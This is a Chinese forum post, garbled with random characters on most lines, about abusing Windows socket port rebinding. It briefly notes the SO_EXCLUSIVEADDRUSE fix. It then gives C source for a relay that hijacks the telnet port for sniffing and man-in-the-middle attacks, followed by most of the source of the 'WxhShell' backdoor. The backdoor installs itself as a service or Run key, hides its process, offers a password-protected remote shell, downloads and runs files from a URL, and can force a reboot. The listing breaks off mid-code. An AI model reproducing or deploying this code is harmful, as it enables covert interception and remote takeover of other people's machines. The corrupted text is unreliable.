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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PHz/^p3F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +J#H9>To!  
}"3L>%Q5  
  saddr.sin_family = AF_INET; 0?sIod  
35c9c(A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kvo741RO6  
kmP0gT{Sj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0TVO'$Gvi  
H9 't;Do  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l+T\DZ  
ff{ESFtD  
  这意味着什么?意味着可以进行如下的攻击: `T~M:\^D  
6}<PBl%qe  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ['sIR+c%'O  
9g 2x+@5T^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z9!goI  
-`Z5#8P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xXHz)w  
{N _v4})  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }uZh oA  
hL8QA!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MiRMjQ2  
^ ]`<nO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O?{pln  
||/noUK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x9@%L{*  
(j cLzq  
  #include U2SxRFs >  
  #include HPU7 `b4  
  #include v3~,1)#aI  
  #include    ) d\Se9!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dnN"  
  int main() 0gt/JI($  
  { H:0-.a^ZS  
  WORD wVersionRequested; 8LiRZ"  
  DWORD ret; OBj .-jL  
  WSADATA wsaData;  snN1  
  BOOL val; P;A"`Il  
  SOCKADDR_IN saddr; N\xqy-L9  
  SOCKADDR_IN scaddr; W'6*$Ron  
  int err; &<v# ^2S3  
  SOCKET s; i:W oT4  
  SOCKET sc; YF."D%?  
  int caddsize; K=!J=R;  
  HANDLE mt; =3& WH0  
  DWORD tid;   w8@ Ok_fj  
  wVersionRequested = MAKEWORD( 2, 2 ); _c%~\LOk  
  err = WSAStartup( wVersionRequested, &wsaData ); g fO.Ky6  
  if ( err != 0 ) { U); ,Opr  
  printf("error!WSAStartup failed!\n"); N|Rlb5\  
  return -1; O9g{XhMv>f  
  } b z<wihZj  
  saddr.sin_family = AF_INET; I.\u2B/?  
   \yM[?/<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kQ4%J, 7e4  
Ij4\*D!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dqG+hh^  
  saddr.sin_port = htons(23); gS"@P:wYzs  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]C]tLJ!M  
  { OlV>zam  
  printf("error!socket failed!\n"); N%>/ e'(  
  return -1; La3f{;|u5M  
  } PJb_QL!9  
  val = TRUE; 85nUR [)h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F\>`j   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m6g+ B>  
  { |!&,etu  
  printf("error!setsockopt failed!\n"); d~28!E+  
  return -1; Hm4lR{A  
  } #%+IU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g ,Q!F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #H5*]"w6I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3+!N[6Od9  
Ue-HO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :Z`4ea"w  
  { U,g!KN3P  
  ret=GetLastError(); %f, 9  
  printf("error!bind failed!\n"); cZ o]*Gv.  
  return -1; ts)0+x  
  } e6{/e+/R  
  listen(s,2); "I_3!Yu  
  while(1) '!En,*'IS  
  { DY,Sfh;tp  
  caddsize = sizeof(scaddr); 7E|0'PPR  
  //接受连接请求 S: /ShT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l*%?C*  
  if(sc!=INVALID_SOCKET) |=GRPvvi  
  { 1!=$3]l0Lj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'v\!}6  
  if(mt==NULL) \Z57UNI  
  { UVU}  
  printf("Thread Creat Failed!\n"); ~r|.GY  
  break; 9X=#wh,q  
  } "hQV\|!\  
  } v*#Z{)r  
  CloseHandle(mt); {J|P2a[  
  } (-"A5(X:/  
  closesocket(s); >,1'[) _  
  WSACleanup(); 2X6y^f';\  
  return 0; d6(qc< /!r  
  }   -6)ywq^{z  
  DWORD WINAPI ClientThread(LPVOID lpParam) YM#XV*P0 q  
  { xcoYo  
  SOCKET ss = (SOCKET)lpParam; ~ocd4,d=  
  SOCKET sc; R?X9U.AcW  
  unsigned char buf[4096]; [IW@ mn>  
  SOCKADDR_IN saddr; m<OxO\Mpf  
  long num; a9D 5qj  
  DWORD val; H&%=>hyX  
  DWORD ret; fpoH7Jd V  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J-u,6c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zJ &qR  
  saddr.sin_family = AF_INET; +R*4`F:QJQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @W^g(I(w  
  saddr.sin_port = htons(23); /mr&Y}7T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?k"KZxpT  
  { c~c3;  
  printf("error!socket failed!\n"); <5L!.Ci  
  return -1; $ar:5kif  
  } 8t6h^uQ  
  val = 100; {d )Et;_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e {c.4'q  
  { #|$7. e  
  ret = GetLastError(); oNiS"\t  
  return -1; VgoQz]z  
  } E$Ge# M@dM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $SXF>n{}  
  { Ke,-8e#Q  
  ret = GetLastError(); 0A}'.LI  
  return -1; 3V,X=  
  } R~c(^.|r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H|,{^b@9  
  { {5_*f)$[H  
  printf("error!socket connect failed!\n"); -j<UhW  
  closesocket(sc); wmoOp;C  
  closesocket(ss); e HOm^.gd  
  return -1; #XmN&83_  
  } u1<xt1K  
  while(1) $_)f|\s  
  { <[pU rJfTr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d$Mj5wN:q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :0srFg?X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e3[QM  
  num = recv(ss,buf,4096,0); W>@+H"pZ  
  if(num>0) V=S`%1dLN  
  send(sc,buf,num,0); 8#oF7eE  
  else if(num==0) "@ox=  
  break; uCUBs(iD  
  num = recv(sc,buf,4096,0); o-x_[I|@  
  if(num>0) %X.Q\T  
  send(ss,buf,num,0); }1$8)zH  
  else if(num==0) xds"n5  
  break; +{#BQbx6  
  } Q'\jm=k  
  closesocket(ss); $G=\i>R.  
  closesocket(sc); O050Q5zy  
  return 0 ; hSg: Rqnk  
  } 4wNxn lP  
h eh! cDK  
7&sCEYEb  
========================================================== E!Ng=}G&_  
33u7  
下边附上一个代码,,WXhSHELL tB1Qr**  
_IY)<'d  
========================================================== tKJ) 'v?  
Gn_v}31d%  
#include "stdafx.h" -''vxt?7H&  
&0ULj6jj  
#include <stdio.h> fnXl60C%  
#include <string.h> [hFyu|I !  
#include <windows.h> Z:n33xh=<  
#include <winsock2.h> .{8lG^0U<  
#include <winsvc.h> {'vvE3iZ  
#include <urlmon.h> ZW\h,8%  
|kVxrq  
#pragma comment (lib, "Ws2_32.lib") GZ4{<QG  
#pragma comment (lib, "urlmon.lib") JP@UvDE|  
mKn[>M1  
#define MAX_USER   100 // 最大客户端连接数 0,/[r/=jT  
#define BUF_SOCK   200 // sock buffer | _S9U|  
#define KEY_BUFF   255 // 输入 buffer b,K1EEJ  
As>po +T*  
#define REBOOT     0   // 重启 -eNi;u  
#define SHUTDOWN   1   // 关机 -> <_J4  
T]i~GkD\  
#define DEF_PORT   5000 // 监听端口 Xt~/8)&  
bqLv81V  
#define REG_LEN     16   // 注册表键长度 :m+:%keK  
#define SVC_LEN     80   // NT服务名长度 W``e6RX-  
&V2G <gm0  
// 从dll定义API Z1OcGRN!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gr-%9=Uq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |]B]0J#_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?9PNCd3$d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k}<mmKB  
U O[p   
// wxhshell配置信息 m<076O4|`  
struct WSCFG { [Zua7&(5  
  int ws_port;         // 监听端口 D@W m-  
  char ws_passstr[REG_LEN]; // 口令 KztF#[64W^  
  int ws_autoins;       // 安装标记, 1=yes 0=no wicg8[T=B  
  char ws_regname[REG_LEN]; // 注册表键名 %EVg.k$  
  char ws_svcname[REG_LEN]; // 服务名 =+"XV8Fi,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ](0A/,#q6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S@*@*>s^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g6*}& .&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hpw;w}m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gge"`AT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q2#)Jx\6!  
 $hN!DHz  
}; CiMN J  
y\%4Dir  
// default Wxhshell configuration t71 0sWh{  
struct WSCFG wscfg={DEF_PORT, 4 A  
    "xuhuanlingzhe", A&t}s #3  
    1, )c!f J7o:  
    "Wxhshell", K+GjJ8  
    "Wxhshell", O0Z'vbFG  
            "WxhShell Service", + 6}FUi!"e  
    "Wrsky Windows CmdShell Service", 0\i&v  
    "Please Input Your Password: ", * dNMnZ@Y  
  1, Vj:PNt[  
  "http://www.wrsky.com/wxhshell.exe", oF3#]6`;/  
  "Wxhshell.exe" 4frZ .r;V  
    }; >&$ V"*]  
"+AeqrYYm5  
// 消息定义模块 [Q%3=pm_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {<|0M%v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =!{dKz-&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -'I)2/%g  
char *msg_ws_ext="\n\rExit."; !AMPA*  
char *msg_ws_end="\n\rQuit."; J5l:_hZUV  
char *msg_ws_boot="\n\rReboot..."; lOE bh  
char *msg_ws_poff="\n\rShutdown..."; *vj5J"Y(;t  
char *msg_ws_down="\n\rSave to "; '~a!~F~>  
; aMMI p  
char *msg_ws_err="\n\rErr!"; 2Nj0 Hqjq  
char *msg_ws_ok="\n\rOK!"; `bxgg'V  
*.K}`89T  
char ExeFile[MAX_PATH]; S5uV\Y/A  
int nUser = 0; N .SszZh  
HANDLE handles[MAX_USER]; I015)vFc  
int OsIsNt; 9PGSr4V 1  
h<QXr'4+  
SERVICE_STATUS       serviceStatus; $B(B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Db3tI#  
Zwq_&cJK  
// 函数声明 ;PbyR}s  
int Install(void); 1o$<pZZ  
int Uninstall(void); fNlUc  
int DownloadFile(char *sURL, SOCKET wsh); I)sCWC:Mq~  
int Boot(int flag); 6DExsB~@  
void HideProc(void); 8T2$0  
int GetOsVer(void); fY6&PuDf.  
int Wxhshell(SOCKET wsl); dFS+O;zE\  
void TalkWithClient(void *cs); Uh7kB`2  
int CmdShell(SOCKET sock); !G8SEWP  
int StartFromService(void); 0_j!t  
int StartWxhshell(LPSTR lpCmdLine); Yt{Y)=_t  
5ax/jd~}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4f/8APA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \dCdyl6V  
$QY(7Z"  
// 数据结构和表定义 !u=[/>  
SERVICE_TABLE_ENTRY DispatchTable[] = t<`BaU  
{ ?HBc7$nW  
{wscfg.ws_svcname, NTServiceMain}, aFbA=6  
{NULL, NULL} GCIm_ n  
}; v0HFW%YJ^J  
Ml)WY#7  
// 自我安装 q_I''L  
int Install(void) S[%86(,*gP  
{ B,A/ -B\  
  char svExeFile[MAX_PATH]; <Siz5qQI4  
  HKEY key; . Bv;Zv  
  strcpy(svExeFile,ExeFile); =?/J.[)<*  
XCk \#(VSE  
// 如果是win9x系统,修改注册表设为自启动 !e%#Zb MIo  
if(!OsIsNt) { g{nu3F}8){  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2R)Y}*VX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); le1'r>E$  
  RegCloseKey(key); vk$]$6l2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ANWa%%\T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z3Vi il:  
  RegCloseKey(key); z:acrQwJ?1  
  return 0; )! OEa]  
    } 6 .*=1P*?  
  } ty "k  
} g~`UC  
else { PvO>}(=  
0t<TZa]V  
// 如果是NT以上系统,安装为系统服务 x2 tx{Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bhFzu[B  
if (schSCManager!=0) o05) I2  
{ WSh+5](:  
  SC_HANDLE schService = CreateService qf'uXH  
  ( ]xFd_OHdb  
  schSCManager, @(ev``L5g  
  wscfg.ws_svcname, l3.HL> o  
  wscfg.ws_svcdisp, A}W&=m8!  
  SERVICE_ALL_ACCESS, xKIm2% U9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7gv kd+-*  
  SERVICE_AUTO_START, m'a3}vRV(  
  SERVICE_ERROR_NORMAL, TMq\}k-I5  
  svExeFile, \N!k)6\  
  NULL, whD%Oz*f  
  NULL, F9Mv$ g79  
  NULL, &%FpNU9  
  NULL, E5Z,4B  
  NULL IV!&jL  
  ); Pxl7zz&pl=  
  if (schService!=0) >7 4'g }  
  { r`mfLA]d  
  CloseServiceHandle(schService); x! Z|^q  
  CloseServiceHandle(schSCManager); 6o {41@v(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I=. 98v%  
  strcat(svExeFile,wscfg.ws_svcname); MQLa+I,S4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )=2iGEVW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cnQ( G$kh  
  RegCloseKey(key); gzi~ BJ  
  return 0; \-c70v63X  
    } #knpZ'  
  } ^e)KEkh  
  CloseServiceHandle(schSCManager); R ]HHbD&;  
} <r_ldkZ  
} ,US]  
0f1*#8-6  
return 1; !m:SRNPg  
} BQ &|=a6  
;}1*M !  
// 自我卸载 Z^s&]  
int Uninstall(void) mpN|U(n  
{ uh@ZHef[l  
  HKEY key; # M%-q8  
O?rVa:\  
if(!OsIsNt) { :+Y+5:U]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s [@II]  
  RegDeleteValue(key,wscfg.ws_regname); W}XDzR'<  
  RegCloseKey(key); yX<Sk q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p 0R)Yc+;  
  RegDeleteValue(key,wscfg.ws_regname); S9U`-\L0  
  RegCloseKey(key); 4IIe1 .{  
  return 0; I6zKvP8pb  
  } F0])g  
} wwk=*X-8  
} \za 0?b  
else { ]qvrpI!E!  
QGn3xM66  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'IKV%$k  
if (schSCManager!=0) w}X<]u  
{ / 9^:*,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FUiEayM  
  if (schService!=0) ~X)Aw 3}F  
  { Z;-=xp  
  if(DeleteService(schService)!=0) { |*K AqTO0  
  CloseServiceHandle(schService); w+z~Mz}Vz  
  CloseServiceHandle(schSCManager); Xu2:yf4No*  
  return 0; "NMX>a,(  
  } tg.[.v Ks  
  CloseServiceHandle(schService); Fzt{^%\`  
  } p0>W}+8fF  
  CloseServiceHandle(schSCManager); Me_.X_  
} OXT 5 y)   
} Hj2E-RwG  
3E) X(WJY  
return 1; Z vM~]8m  
} 4'P otv@/  
aHuZzYQ*"j  
// 从指定url下载文件 bXmX@A$#Io  
int DownloadFile(char *sURL, SOCKET wsh) a=]tqV_  
{ N7=lSBm  
  HRESULT hr; w|lA%H7`J  
char seps[]= "/"; MZZEqsD5[  
char *token; W+k SL{0  
char *file; =c8xg/  
char myURL[MAX_PATH]; A]c'`Nf  
char myFILE[MAX_PATH]; @FO= 0_;y  
)O;6S$z9Y  
strcpy(myURL,sURL);  vtk0 j  
  token=strtok(myURL,seps); /m"O.17N  
  while(token!=NULL) `bY>f_5+  
  { 8eGq.+5G  
    file=token; k[#<=G_=/E  
  token=strtok(NULL,seps); ae_Y?g+3  
  } R6eKI,y\"  
NGIt~"e7R4  
GetCurrentDirectory(MAX_PATH,myFILE); `n)e] dn  
strcat(myFILE, "\\"); %{Ib  
strcat(myFILE, file); -Ri/I4Xj  
  send(wsh,myFILE,strlen(myFILE),0); ~>6d}7xs  
send(wsh,"...",3,0); (#KSwWo{ed  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |zd+ \o  
  if(hr==S_OK) AWo\u!j  
return 0; UNY O P{  
else =#L\fe)q)  
return 1; v'=$K[_  
n-P<y  
} 1u>[0<U~E  
,yf2kU  
// 系统电源模块 !p #m?|Km  
int Boot(int flag) g6aIS^mU  
{ GO4IAUA  
  HANDLE hToken; ,58XLu  
  TOKEN_PRIVILEGES tkp; \Hb"bv  
'vCl@x$  
  if(OsIsNt) { = j)5kY`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @-zL"%%dw'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N_L~oX_  
    tkp.PrivilegeCount = 1; _Fe%Ek1Yy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bbNN$-S|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1z IX $A  
if(flag==REBOOT) { )IBvm1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S@4p.NMU  
  return 0; IX+!+XC"U  
} Q%>6u@'  
else { D`hl}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q8 &\;GK|  
  return 0; pz4lC=H%o  
} :#nfdvqm  
  } r_>]yp  
  else { T"IDCT'z  
if(flag==REBOOT) { uSQlE=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8SGqDaRt  
  return 0; |!m8JV|x  
} kLE("I:7  
else { 9u?[{h.`B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }vK8P r%  
  return 0; >dK# tsp  
} S/,)X  
} ?*AhGza/  
xTnFJ$RK2  
return 1; K]SsEsd  
} >p*7)  
5FMe&  
// win9x进程隐藏模块 xyzYY}PS  
void HideProc(void) 2p %j@O  
{ M!tR>NMH  
_~Id~b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GAP,$xAaW  
  if ( hKernel != NULL ) @b&_xT  
  { :@@aIFRv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mswAao<y&x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7?@ -|{  
    FreeLibrary(hKernel); X*w7q7\8-:  
  } K0A[xkX6  
u~8=ik n+T  
return; ls({{34NF  
} slnvrel  
(&i c3/-  
// 获取操作系统版本 ]WYddiF  
int GetOsVer(void) vJj}$AlI  
{ Yr)<1.K4,M  
  OSVERSIONINFO winfo; <sTY<iVR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7S/\;DF  
  GetVersionEx(&winfo); yz7Fe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fnJx$PD~  
  return 1; .k -!/^  
  else GLp~SeF#  
  return 0; w ,*#z  
} &|fPskpy  
XwZR Kh\>=  
// 客户端句柄模块 ,K15KN.'  
int Wxhshell(SOCKET wsl) RF[Uy?es  
{ s5\<D7  
  SOCKET wsh; sK@]|9ciQ  
  struct sockaddr_in client; dv cLZK  
  DWORD myID; K-b`KcX  
3~%M4(  
  while(nUser<MAX_USER) :sX4hZK =G  
{ 9 lXnNK |]  
  int nSize=sizeof(client); qTz5P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SFjRSMi  
  if(wsh==INVALID_SOCKET) return 1; f"-3'kqo  
GJ\bZ"vDo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *+TO%{4  
if(handles[nUser]==0) h$]nfHi_Q  
  closesocket(wsh); )YVs=0j  
else $sFqMy  
  nUser++; #AH gY.  
  } l0r^LK$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B{K_?ae!  
g;~$xXn  
  return 0; .U#oN_D  
} Z|B`n SzH  
Gs/G_E(T  
// 关闭 socket SveP:uJA[  
void CloseIt(SOCKET wsh) %O9P|04]3  
{ gI/ SA  
closesocket(wsh); "^)$MAZ  
nUser--; *7{{z%5Pu  
ExitThread(0); h AJ^(|  
} d@? zCFD  
4N)45@jk[  
// 客户端请求句柄 F?Fxm*Wa/  
void TalkWithClient(void *cs) UNA!vzOb  
{  _ 'K6S  
6?'; ip  
  SOCKET wsh=(SOCKET)cs; 8&:dzS  
  char pwd[SVC_LEN]; V#+M lN  
  char cmd[KEY_BUFF]; ZEB,Q~  
char chr[1]; &8dj*!4H  
int i,j; 62o nMY  
[5PQrf~Mo  
  while (nUser < MAX_USER) { F8J\#PW  
[+!~RV_  
if(wscfg.ws_passstr) { PKZMuEEy,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -n:;/ere7-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g*WY kv  
  //ZeroMemory(pwd,KEY_BUFF); *|,ye5"  
      i=0; %<>|cO  
  while(i<SVC_LEN) { F6ZL{2$k@  
I K,aA;d  
  // 设置超时 /tJ%gF  
  fd_set FdRead; m0*_  
  struct timeval TimeOut; F!RP *  
  FD_ZERO(&FdRead); &<Fw  
  FD_SET(wsh,&FdRead); Ny$N5/b!!  
  TimeOut.tv_sec=8; bwK1XlfD.s  
  TimeOut.tv_usec=0; V8 G.KA "  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~3$:C#"Dl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8aY}b($*ZI  
gWl49'S>+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 82YZN5S3]3  
  pwd=chr[0]; 8"ulAx74>  
  if(chr[0]==0xd || chr[0]==0xa) { M y!;N1  
  pwd=0; POQ4&ChA  
  break; ~PX#' Jr  
  } K7ZRj\(CJv  
  i++; ,IPryI   
    } /BrbP7  
;It1i`!R  
  // 如果是非法用户,关闭 socket L,3%}_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,Qt2?  
} wc;^C?PX  
]YUst]gu3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q SvgbjdE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ([NS%  
(/|f6_9!  
while(1) { *X 2dS {  
RaA7 U   
  ZeroMemory(cmd,KEY_BUFF); H284 ]i  
[ z{ }?  
      // 自动支持客户端 telnet标准   8p]Krs:  
  j=0; )5x,-m@  
  while(j<KEY_BUFF) { # "TL*p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `jT1R!$3F  
  cmd[j]=chr[0]; {qFAX<{D  
  if(chr[0]==0xa || chr[0]==0xd) { .WS7gTw  
  cmd[j]=0; 7Pr5`#x#  
  break; .c@,$z2M  
  } T*#<p;  
  j++; QKh vP>  
    } tj:>o#D  
{WuUzq`  
  // 下载文件 #Qd"d3QG  
  if(strstr(cmd,"http://")) { Gu%}B@4^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TYedem<$  
  if(DownloadFile(cmd,wsh)) {+ WI>3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \P9HAz'6  
  else $kh6-y@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )z7+%nTO  
  } \Bn$b2j!%  
  else { JjG>$z  
ZRYHsl{F+  
    switch(cmd[0]) { 2w:cdAv$  
  _'P!>C!  
  // 帮助 I z)~h>-F  
  case '?': { Cce{aY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 74a>}+"  
    break; [4HOWM>\  
  } ANd#m9(x  
  // 安装 vUg o)C#<  
  case 'i': { lLZ?&z$  
    if(Install()) !{4bC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tkEup&  
    else EYU3Pl%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); **Q K}j[D  
    break; 8yCQWDE}  
    } ,IG?(CK|  
  // 卸载 ;%Zn)etu  
  case 'r': { ipJnNy;  
    if(Uninstall()) E#,n.U>#)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pAd SOR2  
    else 3o^  oq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +7bV  
    break; A@OSh6/{h  
    } G8F43!<  
  // 显示 wxhshell 所在路径 TYgn X  
  case 'p': { ~f] I0FK  
    char svExeFile[MAX_PATH]; eX9H/&g  
    strcpy(svExeFile,"\n\r"); !e:HE/&>i  
      strcat(svExeFile,ExeFile); WAp#[mW.fx  
        send(wsh,svExeFile,strlen(svExeFile),0); *M()z.N  
    break; b+mh9q'5E  
    } QP4`r#,  
  // 重启 IF.6sJg:  
  case 'b': { F anA~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <@:LONe<  
    if(Boot(REBOOT)) BW%"]J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f m'Qif q^  
    else { ( O/+.qb  
    closesocket(wsh); `xd{0EvF  
    ExitThread(0); hh"=|c  
    } (Y?" L_pC  
    break; [<7Vv_\Q  
    } dtUt2r)6L;  
  // 关机 B$%7U><'  
  case 'd': { 6"U)d7^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |DMa2}%  
